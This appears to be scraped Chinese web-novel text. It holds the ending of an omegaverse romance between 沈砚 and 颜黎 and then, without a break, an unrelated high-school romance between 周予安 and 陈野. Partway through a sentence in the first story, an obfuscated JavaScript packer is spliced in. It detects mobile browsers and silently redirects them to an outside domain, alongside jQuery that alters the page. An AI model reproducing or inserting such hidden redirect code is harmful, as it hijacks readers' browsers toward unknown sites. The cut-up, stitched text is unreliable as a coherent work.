"二十年前..."颜黎在沈砚耳边急促地说,"福利院后面的秋千,记得吗?我推你的时候总是数到十..." 沈砚的身体突然僵直。他的瞳孔剧烈收缩,两种信息素的交战出现微妙波动。颜黎感受到希望,继续道:"下雨天我们会躲在工具间,你总说闻到咖啡味就不怕打雷..." 林晚晚撕开藤蔓屏障,利爪直取沈砚心脏!颜黎转身用身体硬接这一击,鲜血瞬间浸透衬衫。剧痛中,他咬破自己的舌尖,俯身吻住沈砚。 血与信息素交融的瞬间,沈砚的瞳孔终于恢复清明。他看清眼前的颜黎,看清四周的环境,童年的记忆如潮水般涌来—— 【"疼吗?"小颜黎偷偷握住他扎满针眼的手。 "不疼。"小沈砚逞强地摇头,"医生说我们是特别的。" "才不要特别!"小颜黎把唯一的糖果塞给他,"等你好了,我们逃出去..."】 "...去看真正的咖啡园。"沈砚接上了记忆中的对话。他的双手突然扣住颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353479|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎的后颈,两种信息素不再对抗,而是开始融合! 林晚晚发出不似人类的尖啸,再次扑来。沈砚翻身将颜黎护在身下,后颈腺体爆发出耀眼的金银光芒。一股全新的、从未被记录过的信息素如冲击波般扩散—— 松木与白茶,金属与咖啡,威士忌与初雪...完美交融的气息所到之处,暴走的藤蔓安静下来,林晚晚的变异组织开始溶解。她不可置信地看着自己腐烂的双手:"不可能...这是...终极共生体才有的..." 颜黎的伤口在信息素中奇迹般止血。他惊讶地看着沈砚——现在的他既不是Alpha也不是Omega,而是某种更古老、更纯粹的存在。皮肤上的纹路不再对抗,而是形成美丽的金银双色图腾。 "这才是实验本该有的结果。"沈砚的声音恢复了原本的音色,却带着前所未有的力量,"不是征服,不是压制,而是..." "共生。"颜黎接上他的话,手指抚过那些发光的纹路。他想起童年实验记录上的术语——"Till Overdose",不是指咖啡因过量,而是指两种腺体在无限趋近完美共生状态时的临界点。 林晚晚已经化为一滩蓝色黏液。整个地下温室的植物在新型信息素中焕发生机,那些克隆腺体样本一个接一个失去活性。 沈砚突然脱力倒下,皮肤上的光芒逐渐内敛。颜黎将他打横抱起,穿过开始坍塌的走廊。在他们身后,那株救命的咖啡苗绽放出最后一朵花,然后安静地枯萎。 三个月后,初春的阳光洒满颜氏私立医院的屋顶花园。沈砚放下病例本,看向身边正在给咖啡苗浇水的颜黎。那株植物在特殊培养下存活下来,新长出的叶片一半翠绿一半淡金,如同他们现在的腺体状态。 "医学会还在要求你提交研究报告?"颜黎放下喷壶,指尖轻轻擦过沈砚后颈。那里的纹路已经褪成淡淡的金银双色,像是精心设计的纹身。 沈砚摇头,无名指上的婚戒在阳光下闪闪发光:"我告诉他们,有些奇迹无法用科学解释。" 比如为什么他们的信息素融合后能治愈彼此的伤病;比如为什么那株咖啡苗只对他们共同的气息有反应;再比如为什么颜黎在废墟中找到的那枚童年纽扣,会让沈砚瞬间记起所有被药物抹去的记忆。 颜黎的唇贴上他后颈的腺体,犬齿轻轻磨蹭那块特殊皮肤。这不是标记,而是一种确认——确认他们超越了简单的AO关系,成为生物学上从未记载过的存在。 "挪威的机票订好了。"Alpha的声音带着笑意,"这次真的去看极光。" 沈砚看向远处的地平线。三年前被车祸打断的旅程,现在终于能继续了。他摸出兜里的咖啡豆——来自那株特殊咖啡苗结出的唯一果实,打算种在挪威的雪原上。 毕竟他们的爱情,从来都是在最不可能的地方生根发芽。 [全文完] 46. 第 64 章 开学第一天,周予安就惹上了麻烦。 他抱着厚厚一摞新教材穿过走廊时,一个篮球突然从侧面飞来,精准地击中了他手中的书本。纸张像白鸽般四散纷飞,他的眼镜也滑到了鼻尖。 "喂,书呆子!把球扔回来!" 周予安眯起三百度的近视眼,看见篮球场边站着一个高个子男生。那人校服外套随意地搭在肩上,露出里面的黑色背心,汗水顺着脖颈滑进锁骨凹陷处。阳光给他的轮廓镀上一层金边,刺得周予安眼睛发疼。 "你差点砸到我的头。"周予安蹲下身,一本一本捡起散落的课本。 男生不耐烦地走过来,运动鞋直接踩在了周予安的物理笔记上。"我说,把球扔回来。" 周予安抬头,第一次看清了对方的脸——浓眉下是一双带着野性的眼睛,左眉骨处有一道细小的疤痕。他记得这张脸,开学典礼上作为学生代表发言的校篮球队长,陈野。 "你踩到我的笔记了。"周予安推了推眼镜。 陈野低头看了看,非但没有移开脚,反而故意碾了碾。"所以呢?" 周予安深吸一口气,突然抓住陈野的脚踝用力一拽。陈野猝不及防,踉跄着后退几步,差点摔倒。 "操!"陈野站稳后一把揪住周予安的衣领,"你找死?" 周予安平静地注视着他:"你的球砸了我的书,你踩了我的笔记,现在你还要打人?篮球队长开学第一天就在走廊斗殴,这新闻标题怎么样?" 陈野的拳头悬在半空,最终缓缓松开。他弯腰捡起篮球,在手中转了一圈:"周予安是吧?我记住你了。" 周予安没想到,第二天班主任就宣布了一个噩耗。 "这学期我们实行''一帮一''计划,成绩好的同学要帮助成绩落后的。"班主任推了推眼镜,"周予安,你和陈野同桌。" 全班发出一阵起哄声。周予安僵在座位上,余光瞥见陈野在后排比了个中指。 "老师,我反对。"周予安举手,"我和陈野同学...性格不合。" 班主任露出意味深长的笑容:"正因如此才需要互相学习。陈野的物理只有37分,而你是物理竞赛省一等奖。" 下课铃响,陈野拎着书包重重砸在周予安旁边的座位上。"别以为这是你的胜利,书呆子。" 周予安正在整理笔记,头也不抬:"我也没打算和你做朋友。从今天起,每天放学后补习一小时,这是班主任的要求。" "做梦。"陈野把腿架在桌上,"我有训练。" "训练四点结束,补习四点半开始。"周予安终于抬头,直视陈野的眼睛,"除非你承认自己连最简单的物理题都做不出来。" 陈野的眼睛危险地眯起:"激将法?" "管用就行。"周予安递过一张试卷,"先做这套题,我看看你的水平。" 陈野盯着试卷看了三秒,突然抓起笔开始狂写。周予安凑近一看,差点气笑——所有选择题都选了C。 "你是认真的?" 陈野咧嘴一笑,露出那颗标志性的虎牙:"怎么,C不能是正确答案?" 周予安夺过试卷,在空白处刷刷写下几道题:"先解这些。" 陈野盯着题目看了半天,笔尖在纸上戳出一个黑点。"...这什么鬼符号?" "欧姆定律的基本公式。"周予安叹了口气,"你上课都在干什么?" "睡觉,看NBA集锦,偶尔数你后脑勺的旋儿。"陈野漫不经心地说,"你有两个旋儿,知道吗?据说这种人特别固执。" 周予安感到太阳穴突突直跳。他拿出一套初中物理题:"从基础开始。" 就这样,他们开始了为期两周的折磨——对双方都是。周予安发现陈野并非真的愚钝,只是对学习毫无耐心;陈野则惊讶于周予安讲解题目时的专注神情,那双平日冷漠的眼睛会突然亮起来,像夜空中突然被点亮的星。 第三周的周三,陈野破天荒地准时出现在图书馆。 "今天太阳从西边出来了?"周予安合上手中的《量子物理导论》。 陈野从背包里掏出一盒牛奶,推到周予安面前。"给你的。" 周予安警惕地看着那盒牛奶:"下毒了?" "爱喝不喝。"陈野抓回去,自己插上吸管喝了一大口,然后又推回来,"看,没毒。" 周予安犹豫了一下,接过牛奶。指尖相触的瞬间,他注意到陈野的手上有几处新结的痂——篮球训练留下的痕迹。 "为什么突然..." "你昨天没吃午饭。"陈野低头翻着物理书,"低血糖还讲题,声音都在抖。" 周予安愣住了。他没想到陈野会注意到这种细节。牛奶是温的,甜度刚好。 那天补习结束得比平时晚。走出图书馆时,夕阳已经西沉。陈野突然拉住周予安的手腕:"带你去个地方。" "去哪?我还有作业..." "闭嘴,跟我来。" 陈野带着周予安爬上了实验楼的顶楼。推开锈迹斑斑的铁门,整个校园尽收眼底。篮球场、食堂、他们每天走过的主干道,全都沐浴在金色的余晖中。 "我发现的秘密基地。"陈野靠在栏杆上,"心情不好的时候就来这儿。" 周予安小心地靠近栏杆。他有轻微的恐高症,手指不自觉地抓紧了生锈的金属。 "怕高?"陈野突然问。 "有点。" 下一秒,陈野的手覆在了周予安的手背上。"别看下面,看远处。" 周予安的手微微发抖。陈野的手掌温暖而粗糙,完全包裹住他的。远处,夕阳正一点一点沉入地平线,天空从橙红渐变成深紫。 "为什么要带我来这?"周予安轻声问。 陈野没有立即回答。风吹乱了他的头发,也带走了他低声的话语:"...因为你看起来总是很累。" 那天之后,他们的关系微妙地改变了。陈野不再在补习时故意捣乱,周予安也学会了在讲解时加入篮球的比喻。他们发现彼此都喜欢同一个乐队的歌,都讨厌食堂周四的胡萝卜炒蛋。 期中考试前一周,周予安没来上学。 陈野盯着旁边空荡荡的座位,一整天都心不在焉。训练时他连续投丢了三个罚球,教练气得让他去跑圈。 放学后,陈野鬼使神差地来到了周予安家楼下。他只知道大概位置,是之前补习时送周予安回来记下的。正犹豫着要不要打电话,他看见周予安从楼道里走出来,眼睛红肿。 "陈野?你怎么..." "你两天没来学校。"陈野双手插兜,假装不在意,"班主任让我来看看你是不是死了。" 周予安勉强笑了笑:"我爸妈...离婚了。这两天在处理一些事。" 陈野沉默了。他想起自己父亲酗酒、母亲离家出走的童年,突然明白了周予安眼中那种他熟悉的空洞。 "要喝点东西吗?"他最终说。 他们坐在小区花园的长椅上,分享一罐可乐。周予安讲述着父母如何从争吵到决裂,声音平静得可怕。陈野只是听着,偶尔"嗯"一声表示自己在听。 "...其实我早该料到的。"周予安盯着自己的鞋尖,"他们连我的家长会都是轮流参加。" 陈野突然站起来:"等我一下。" 十分钟后,他气喘吁吁地跑回来,手里拿着两罐啤酒。"未成年人不该喝酒,"他拉开拉环递给周予安,"但去他妈的。" 周予安接过啤酒,小心地抿了一口,随即皱起脸:"好苦。" "习惯了就好。"陈野仰头灌了一大口,"我爸喝醉后经常说,生活比啤酒苦多了。但我觉得..."他转头看向周予安,"有时候,有人一起分担的话,苦味会淡一点。" 周予安望着陈野被路灯照亮的侧脸,第一次注意到他下巴上有一道几乎看不见的小疤痕。他突然很想触碰那道疤,问问它的来历。 "谢谢。"他轻声说。 期中考试结束的那天,陈野拉着周予安去看他的篮球比赛。 "我又不懂篮球。"周予安抗议。 "但你是我的幸运符。"陈野往他手里塞了一瓶水,"坐第一排。" 比赛异常激烈。周予安看着陈野在场上奔跑、跳跃、指挥队友,与平日里那个懒散的问题学生判若两人。最后一分钟,陈野投进关键三分,全场沸腾。周予安不自觉地站起来鼓掌,手心拍得通红。 赛后,更衣室里只剩下他们两人。陈野刚冲完澡,头发还在滴水,T恤随意地套在身上。 "物理61分。"他把成绩单扔给周予安,"史上最高分。" 周予安展开皱巴巴的纸,忍不住笑了:"恭喜脱离不及格阵营。" 陈野突然凑近,身上带着沐浴露的薄荷味:"这值得一个奖励吧?" 周予安僵在原地。陈野的脸离得太近,他能数清对方睫毛上的水珠。"什...什么奖励?" 陈野退开,大笑起来:"吓到你了吧?开玩笑的。"他转身收拾背包,"周末有空吗?新上映了部科幻片。" 周予安松了口气,却又感到一丝莫名的失落。"有空。" "那就这么定了。"陈野甩起背包搭在肩上,"对了,你刚才为我加油的样子,挺可爱的。" 周予安感到耳朵发烫。更衣室的灯光太亮,空调太足,或者...陈野的笑容太耀眼。他说不清。 走出体育馆时,夜空开始飘起细雨。陈野脱下外套撑在两人头顶:"跑吧,书呆子。" 周予安在教室门口停住脚步。清晨七点的阳光透过走廊窗户斜射进来,在他的座位上投下一片金色的光斑。而那片光斑里,放着一盒牛奶和一个三明治。 他的目光移向旁边——陈野正歪坐在椅子上,两条长腿伸到过道,手里转着篮球,假装没注意到周予安的到来。 "这是什么?"周予安用指尖轻轻推了推那盒牛奶。 "早餐啊,看不出来?"陈野头也不抬,篮球在他指尖转得飞快,"昨天物理小测我及格了,谢礼。" 周予安盯着那个三明治。培根和煎蛋的香气从包装纸里渗出来,勾起他胃里的一阵抗议。他确实没吃早饭——母亲搬走后,冰箱里常常空空如也。 "我不需要..." "少废话,"陈野突然把篮球往桌肚里一塞,伸手拆开三明治包装,"知道你妈不在家。赶紧吃,一会儿班主任就来了。" 周予安的手指僵在半空。他没告诉过陈野关于母亲搬走的事。牛奶盒上凝结的水珠滑下来,在他的物理笔记上洇开一个小圆点。 "你怎么知道?" 陈野的耳尖突然红了:"上、上次你自己说的啊,父母离婚。"他抓起周予安的手腕,把三明治塞进他手里,"快吃,凉了就腥了。" 周予安咬了一口。蛋黄酱的甜味在舌尖扩散,比他预想的要好吃得多。 "谢谢。"他小声说。 陈野咧开嘴笑了,那颗虎牙在晨光中闪闪发亮:"不客气,书呆子。" 第一节课是英语。周予安习惯性地记着笔记,余光却瞥见陈野在课本边缘涂鸦——不是往常的篮球或球鞋,而是一串精细的音符。 "你会读谱?"周予安忍不住低声问。 陈野迅速用手掌盖住涂鸦:"随便画的。" 周予安伸手揭开陈野的手,仔细看了看那些音符:"这是...肖邦的《夜曲》?" 陈野的耳尖又红了:"...我妈以前弹钢琴。" 周予安第一次听陈野提起家人。他还想追问,讲台上的英语老师突然提高了音量:"后排两位同学,需要给你们单独开小灶吗?" 全班哄笑中,陈野冲老师敬了个夸张的礼:"不用了老师,周老师在给我开小灶呢!" 下课铃响后,周予安破天荒地没有立刻埋进题海。他转向陈野:"你既然懂乐理,为什么物理公式记不住?" 陈野转着笔,笔尖在纸上戳出一个小洞:"物理没意思。" "音乐就有意思?" "音乐..."陈野的笔停了,"音乐能让人忘记不开心的事。" 周予安突然想起父亲醉酒后砸碎母亲最爱的唱片的那晚。他轻轻点头:"确实。" 一阵沉默后,陈野突然凑近:"诶,听说你钢琴弹得不错?" "谁告诉你的?" "全校都知道啊,去年艺术节你不是拿了第一?"陈野的膝盖在桌下碰了碰周予安的,"什么时候弹给我听听?" 周予安条件反射地想拒绝,却在对上陈野期待的眼神时犹豫了。"...午休时音乐教室没人。" 陈野的眼睛亮了起来。 午休铃一响,陈野就拽着周予安往音乐教室跑。空荡荡的走廊上,他们的脚步声格外清晰。周予安的手腕被陈野握得发烫,却奇异地没有挣脱。 音乐教室的门锁着。 "该死。"陈野扒着门上的小窗往里看,"钥匙呢?" 周予安从口袋里掏出一把钥匙:"我去年当音乐课代表时配的。" "哇哦,"陈野挑眉,"好学生也会干这种事?" 周予安没回答,推开门走了进去。阳光透过百叶窗在地板上投下条纹状的光影,灰尘在光束中静静漂浮。他走向角落那架老旧的立式钢琴,掀开琴盖。 "想听什么?" 陈野靠在钢琴边,手指轻轻抚过琴键却没有按下:"《夜曲》。就我刚才画的那个。" 周予安的手指落在琴键上。前几个音符流出的瞬间,陈野的呼吸明显停滞了一拍。周予安没有看谱,却弹得分毫不差,仿佛这首曲子早已刻在他的肌肉记忆里。 弹到一半时,周予安察觉到陈野的异常安静。他侧头看去,发现陈野正死死盯着琴键,眼眶发红。 "...还继续吗?"周予安轻声问。 陈野深吸一口气:"我妈走那天,弹的就是这首。" 周予安的手指悬在琴键上方。他突然理解了陈野对音乐的态度——既是慰藉,也是伤口。 "要停下来吗?" 陈野摇摇头,突然在周予安身边坐下。钢琴凳本就不宽敞,两个男生的身体紧贴在一起,从大腿到肩膀。 "教我弹。"陈野说。 周予安愣住了:"现在?" "就教开头几个音。"陈野已经把手放在了琴键上,"快点,午休快结束了。" 周予安迟疑地覆上陈野的手,引导着他的手指找到正确的琴键。陈野的手比他的大一圈,指节分明,掌心有常年打球留下的茧。皮肤相触的地方传来一阵细微的电流,让周予安差点弹错音。 "是这样?"陈野按下一组音符,歪头看向周予安。 这个角度下,周予安能清晰地看见陈野的睫毛在阳光下呈现出的浅棕色,以及左眉骨上那道疤痕的细微纹路。他的喉咙突然发紧。 "嗯,对。"周予安迅速移开视线,"你学得很快。" 陈野得意地笑了:"我说过我脑子不差。"他又弹了一遍,这次流畅许多,"音乐比物理简单多了。" "只是你更有兴趣而已。"周予安不自觉地微笑,"物理也可以很有趣。" "比如?" 周予安思考片刻,突然拿起钢琴上的一个节拍器:"看这个。"他拆开节拍器的后盖,露出里面的钟摆装置,"这就是简谐运动,和你在篮球场上投篮时的抛物线一样,都是可以用物理公式描述的规律。" 陈野凑近观察,发梢擦过周予安的脸颊:"...所以你投篮那么烂是因为过度思考物理公式?" "我投篮不..."周予安话没说完,午休结束的铃声骤然响起。 陈野跳起来,顺手把周予安也拉起身:"放学后篮球场见。" "什么?" "既然要教我物理,那我教你投篮,公平交易。"陈野已经跑到门口,回头冲周予安眨眼,"别忘了,书呆子!" 下午最后一节课,周予安收到一张从右边传过来的纸条。他展开皱巴巴的纸片,上面是陈野潦草的字迹:「下雨了,室内体育馆见。PS:别想逃」 周予安望向窗外。果然,不知何时开始,细雨已经笼罩了整个校园。他轻轻叹了口气,却在纸条背面写下:「谁逃谁是狗」,然后悄悄塞回陈野手中。 陈野看到回复后笑得被老师点名罚站,却依然冲着周予安的方向比了个胜利手势。 放学后的体育馆空无一人。周予安抱着物理课本站在场边,看着陈野运球热身。篮球撞击地板的回声在空旷的场馆里格外响亮。 "把书放下,"陈野喊他,"抱着书怎么投篮?" 周予安不情愿地把书放在长椅上。他今天穿了件宽松的白色T恤,在昏暗的体育馆里显得格外醒目。 "首先,姿势要对。"陈野走到周予安身后,突然伸手调整他的手臂角度,"右手在这,左手扶球,膝盖弯曲。" 周予安全身僵住。陈野的胸膛几乎贴着他的后背,呼吸喷在他的耳畔。太近了,近到他能闻到陈野身上混合着汗水和薄荷沐浴露的气息。 "放松点,"陈野的声音带着笑意,"你紧张得像要参加高考。" "我没紧张。"周予安嘴硬,却感到耳根发烫。 陈野低笑一声,突然握住周予安的手腕带他完成投篮动作:"跟着我的力道走——" 篮球划出一道弧线,稳稳落入篮筐。 "看,很简单吧?"陈野松开手,跑去捡球,"该你了。" 周予安活动了下手腕,上面似乎还残留着陈野掌心的温度。他接过陈野传过来的球,模仿刚才的动作投出——球砸在篮板上,连篮筐都没碰到。 "噗——"陈野赶紧捂住嘴,"抱歉,没忍住。" 周予安恼羞成怒:"我说过我擅长这个!" "但你有潜力。"陈野把球捡回来,这次站到周予安侧面而不是身后,"手腕再柔和一点,像你弹钢琴那样。" 周予安调整姿势,再次尝试。这次球至少碰到了篮筐。 "进步神速啊周老师。"陈野拍拍他的肩,"继续?" 一小时后,周予安终于投进了第一个球。他惊讶地睁大眼睛,转头看向陈野:"看到了吗?" 陈野笑着点头:"看到了,天才选手。"他走到场边拿起周予安的物理书,"现在轮到你教我了。" 他们坐在体育馆的地板上,周予安讲解着牛顿运动定律,陈野居然真的认真在听,还不时提出问题。雨声成了最好的白噪音,将这个小世界与外界隔离开来。 "其实你理解能力很强,"周予安合上书,"只是不愿意花时间。" 陈野躺倒在地板上,双手枕在脑后:"学校教的东西有什么用?毕业后谁还记得什么牛顿定律。" "那你想做什么?" "打职业篮球,或者..."陈野望着高高的天花板,"开家唱片店。每天放自己喜欢的音乐,不用应付傻X顾客的那种。" 周予安忍不住笑了:"很有追求。" "你呢?"陈野侧头看他,"肯定是上清华北大然后当科学家吧?" 周予安沉默片刻:"我父亲希望我学金融。" "但你想学什么?" 周予安望向窗外渐小的雨:"...天体物理。研究黑洞什么的。" 陈野突然坐起来:"酷毙了。"他伸手和周予安击掌,"未来的黑洞专家,记得给我弄张黑洞照片当唱片店装饰。" 周予安笑着摇头:"白痴,黑洞拍不出照片..." 他的话戛然而止。陈野的手还贴在他的掌心,没有分开。雨声忽然变得很大,心跳声更大。 "周予安,"陈野轻声说,"你有没有..." 体育馆的门突然被推开,校篮球队的几个队员走了进来。"野哥!原来你在这!教练找你半天了!" 陈野迅速收回手,站起身时差点绊倒:"啊,好,马上。"他回头看了周予安一眼,欲言又止,"...明天见。" 周予安点点头,看着陈野跑向队友。其中一个队员好奇地看了周予安一眼,说了什么,陈野立刻给了那人一个肘击。 雨已经停了。周予安收拾好书本走出体育馆,夕阳将他的影子拉得很长。他的右手掌心仍然微微发热,像是握住了什么不该握住的东西。 那天晚上,周予安做了个梦。梦里他在弹钢琴,陈野站在他身后,双手搭在他的肩上,然后慢慢俯身... 周予安惊醒时,窗外还是黑的。他盯着天花板,心跳快得不像话。床头的闹钟显示凌晨四点十八分,但他已经睡不着了。 手机屏幕在黑暗中突然亮起。一条来自陈野的短信:「睡不着。物理作业最后一题怎么做?」 周予安看着那条信息,嘴角不自觉地上扬。他回复:「这么用功?不像你。」 陈野秒回:「被周老师感染了不行吗?」 周予安打开台灯,找出物理作业本,详细写下解题步骤。发送前,他犹豫了一下,又加了一句:「明天早餐我想吃火腿蛋三明治。」 陈野的回复几乎立刻到来:「遵命,周老师。PS:做梦梦见你了。」 周予安的手指悬在屏幕上方,心跳再次加速。他该回复什么?问清楚梦的内容?假装没看见? 最终他只回了个「哦」,然后迅速关掉手机,仿佛那是个随时会爆炸的炸弹。 周予安盯着手机屏幕,那句"做梦梦见你了"像一滴墨水落入清水,在他脑海里不断扩散。他翻了个身,把脸埋进枕头里。凌晨四点半,睡意全无。 闹钟在六点准时响起。周予安几乎是弹起来的,比平时多花了十分钟挑选衣服——最后还是一件普通的藏青色卫衣,和他平时穿的没什么两样。 出门前,他对着玄关的镜子拨了拨头发,又立刻为自己的举动感到荒谬。 "神经病。"他低声骂自己,用力推开门。 秋日的晨风带着凉意,周予安把半张脸埋进卫衣领口。转过街角时,他看到一个熟悉的高挑身影靠在电线杆上——陈野手里拎着两个塑料袋,正百无聊赖地踢着地上的小石子。 "早啊,书呆子。"陈野抬头,露出那颗标志性的虎牙,"你的火腿蛋三明治。" 周予安接过还温热的早餐,塑料袋上凝结的水珠沾湿了他的指尖。"你怎么...在这儿等?" 陈野耸耸肩:"顺路。"他转身走在前面,但周予安知道陈野家和他根本不在一个方向。 他们沉默地并肩走着,周予安小口咬着三明治。蛋黄酱的甜味在舌尖扩散,比食堂的早餐好吃十倍。 "昨晚那道题,"陈野突然说,"我解出来了。" 周予安挑眉:"真的?" "骗你干嘛。"陈野从书包里掏出一张皱巴巴的草稿纸,"看,步骤全在这。" 周予安接过纸,惊讶地发现陈野不仅解对了,还用了两种不同的方法。"你...其实很聪明。" "早告诉过你。"陈野夺回草稿纸,胡乱塞回书包,"只是懒得学而已。" 周予安看着陈野的侧脸,阳光给他的睫毛镀上一层金边。他突然想起那条短信:"所以...你梦见我什么了?" 陈野的脚步明显顿了一下,耳尖以肉眼可见的速度变红。"就...梦见你在弹钢琴。"他加快步伐,"快点,要迟到了。" 周予安知道他在撒谎,但没有追问。某种奇异的满足感在胸腔膨胀,让他忍不住勾起嘴角。 教室里的座位安排有了变化。班主任为了"促进班级团结",把所有人的座位打乱重组。周予安和陈野不再是同桌,中间隔了两排。 整个上午,周予安都能感觉到后脑勺被一道视线灼烧着。每次他假装不经意地回头,总能撞上陈野慌忙移开的目光。第三次回头时,他干脆直接对上了陈野的眼睛,挑了挑眉。 陈野做了个鬼脸,低头在纸上写了什么,然后趁老师转身时把纸条传给前排同学。纸条经过四只手,最终到达周予安手中。 「放学后老地方见。有东西给你看。——C」 周予安把纸条夹进课本,心跳不受控制地加快。他告诉自己这只是因为期待陈野说的"东西",而不是因为那张纸条上龙飞凤舞的字迹。 午休铃响,周予安正准备去图书馆,一个篮球突然滚到他脚边。 "帮个忙?"陈野站在教室后门,额头上还带着汗珠,"帮我拿到体育馆,我手都占着。" 他晃了晃手里的两个饭盒。周予安捡起篮球,跟着陈野来到空无一人的体育馆。阳光透过高窗洒进场馆,在地板上投下几何形的光斑。 "什么好东西非要现在给我看?"周予安问。 陈野神秘地笑笑,从背包里掏出一个旧CD机。"我妈留下的。"他按下播放键,悠扬的钢琴曲立刻填满了整个空间,"德彪西的《月光》,听过吗?" 周予安摇头。音乐像流水一样倾泻而下,清澈而忧伤。他不由自主地闭上眼睛。 "我小时候,"陈野的声音很轻,"我妈总在晚上弹这首。我爸喝醉摔门的声音,和钢琴声混在一起...很奇怪,我记得最清楚的反而是音乐。" 周予安睁开眼。陈野低着头,手指无意识地摩挲着CD机的边缘。阳光照在他的发旋上,形成一个金色的小漩涡。 "很美。"周予安说,"曲子。" 陈野抬头,嘴角微微上扬:"嗯,很美。" 他们对视了一秒,两秒,三秒。音乐仍在继续,周予安能听到自己的心跳声与之共振。 "吃饭吧。"陈野突然打破沉默,打开饭盒,"食堂今天的糖醋排骨不错。" 他们肩并肩坐在体育馆的地板上,分享两份午餐。陈野把自己饭盒里的排骨全夹给了周予安。 "你不吃?"周予安问。 "看你吃比较有意思。"陈野咧嘴一笑,"你吃东西像松鼠,小口小口的。" 周予安作势要把排骨还回去,陈野赶紧按住他的手:"开玩笑的!我吃过了,真的。" 他的手掌温暖干燥,覆盖在周予安的手背上。两人都愣住了,但谁都没有先抽开手。音乐正好放到一个温柔的段落,周予安能闻到陈野身上淡淡的汗水混合着阳光的味道。 "下午什么课?"陈野最终收回手,声音有点哑。 "物理和化学。"周予安低头扒饭,掩饰发烫的耳根,"你有训练吗?" "嗯,四点结束。"陈野喝了口水,"你来吗?" 周予安想起自己惨不忍睹的投篮技术:"我去图书馆。" "哦。"陈野的语气明显失落,但很快又振作起来,"那晚上我给你发题?昨天那道还有另一种解法..." "好。" 他们之间的空气变得不一样了,仿佛有什么无形的东西在生长,柔软而坚定。 下午的物理课上,周予安发现自己无法集中精神。老师在讲台上讲解电磁感应,他的笔记本上却画满了无意识的音符和篮球。第三次走神时,他偷偷回头看了一眼陈野的方向——后者正趴在桌上睡觉,侧脸压在手臂上,嘴唇微微张开。 周予安迅速转回来,心跳漏了一拍。 放学后,周予安如约去了图书馆。但《量子物理导论》上的字母全在跳舞,怎么也看不进去。五点半,他放弃挣扎,收拾书包走向体育馆。 训练已经结束,只有陈野一个人还在场上练习投篮。他脱了校服外套,只穿一件黑色背心,汗水把布料浸得深一块浅一块。球鞋在地板上摩擦发出尖锐的声响,在空旷的场馆里回荡。 周予安站在阴影里,没有出声。陈野的每一个动作都充满力量与美感,肌肉线条随着投篮的姿势舒展又收紧。篮球划出完美的弧线,刷网而入。 "漂亮。"周予安忍不住出声。 陈野猛地转身,脸上绽放出灿烂的笑容:"周老师!"他小跑过来,身上蒸腾着热气,"不是说去图书馆吗?" "看完了。"周予安递过一瓶水,"给你。" 陈野接过水,仰头灌了大半瓶。喉结随着吞咽的动作上下滚动,水珠顺着下巴滑落到锁骨。周予安强迫自己移开视线。 "要不要继续昨天的投篮课?"陈野用袖子擦了擦嘴。 周予安犹豫了一下:"...好。" 这次没有其他人打扰。陈野教得更认真,周予安也学得更投入。一个小时后,周予安投进了人生中第一个三分球。 "看到了吗?"他转身冲陈野喊道,声音里的兴奋掩饰不住。 陈野笑着鼓掌:"天才选手!再来一个?" 周予安又试了几次,虽然没有再进,但动作已经流畅许多。陈野走到他身后,再次手把手纠正姿势:"手腕再放松点..." 这一次,周予安没有僵硬。他让自己靠在陈野胸前,感受背后传来的体温和心跳。篮球出手的瞬间,他确信自己听到了陈野倒吸一口气的声音。 球在篮筐上转了一圈,最终掉进网中。 "进了!"周予安转身,差点撞上陈野的下巴。他们之间的距离突然变得很近,近到能数清对方的睫毛。 陈野的瞳孔在昏暗的灯光下显得格外黑,里面映着周予安小小的倒影。他的呼吸拂过周予安的脸颊,带着淡淡的薄荷糖味道。 "周予安,"他轻声说,"我..." 体育馆的门突然被推开,几个低年级学生吵吵嚷嚷地走了进来。陈野迅速后退一步,抓起地上的篮球。 "该、该回家了。"他的声音有些不稳,"明天见?" 周予安点点头,心跳如雷。回家的路上,他们一前一后走着,谁都没有提起那个未完成的瞬间。 晚上十一点,周予安的手机亮起。陈野的消息:「那道题的第二解法我写出来了,要看吗?」 周予安回复:「发来看看。」 一张照片传来,上面是陈野工整的解题步骤——比平时课堂作业认真十倍。照片角落里,还能看到半截手臂和床单。 周予安放大看了很久,才回复:「步骤都对,但第三行可以简化。」 陈野:「周老师真严格啊。」 周予安:「叫老师就认真点。」 陈野:「那...周予安。」 周予安盯着自己的名字看了很久。陈野很少直呼他的全名,要么叫"书呆子",要么叫"周老师"。 「嗯?」他回复。 「今天在体育馆,我其实想问你...」 周予安握紧手机,等待下一条消息。漫长的三分钟后,手机再次震动。 「想问你要不要周末去看新上映的科幻片?你上次说想看。」 周予安松了口气,却又感到一丝莫名的失落。「好。」他回复。 「那就这么定了!」陈野紧接着又发来一条,「晚安,周予安。」 周予安关掉台灯,在黑暗中盯着天花板。他知道自己应该睡觉,但一闭上眼睛,就是陈野近在咫尺的脸和那句未说完的话。 手机又亮了一下。他赶紧拿起来看。 陈野:「PS:我梦见的是你弹钢琴的样子。但醒着的时候,我觉得你投篮的样子更好看。」 周予安把手机按在胸口,仿佛这样就能阻止心跳声传到电话那头。他打字又删除,最终只回了一个月亮的表情[?] 陈野回复了一颗星星[??] 周六早晨,周予安站在衣柜前已经二十分钟。床上堆满了被否决的衣服,最终他选了一件深蓝色毛衣和黑色牛仔裤——不算太正式,但比平时的校服要讲究些。 手机震动。陈野的消息:「我到你家楼下了。」 周予安深吸一口气,抓起外套冲出门,又在电梯里对着反光壁整理了三遍头发。 陈野靠在一辆自行车上等他,今天穿了件红色连帽衫,头发似乎特意抓过,露出饱满的额头和那道小小的眉骨疤痕。阳光下,他整个人像一团火焰,灼得周予安眼睛发疼。 "早。"陈野递给他一个头盔,"骑车去,电影院不远。" 周予安接过头盔:"你哪来的自行车?" "借的。"陈野跨上车,"上来,我技术很好。" 周予安犹豫了一下,侧身坐上后座。他的手不知道该放哪,最终尴尬地抓住座位两侧。 "抱紧我,"陈野回头说,"不然会摔。" "不用,我平衡感——" 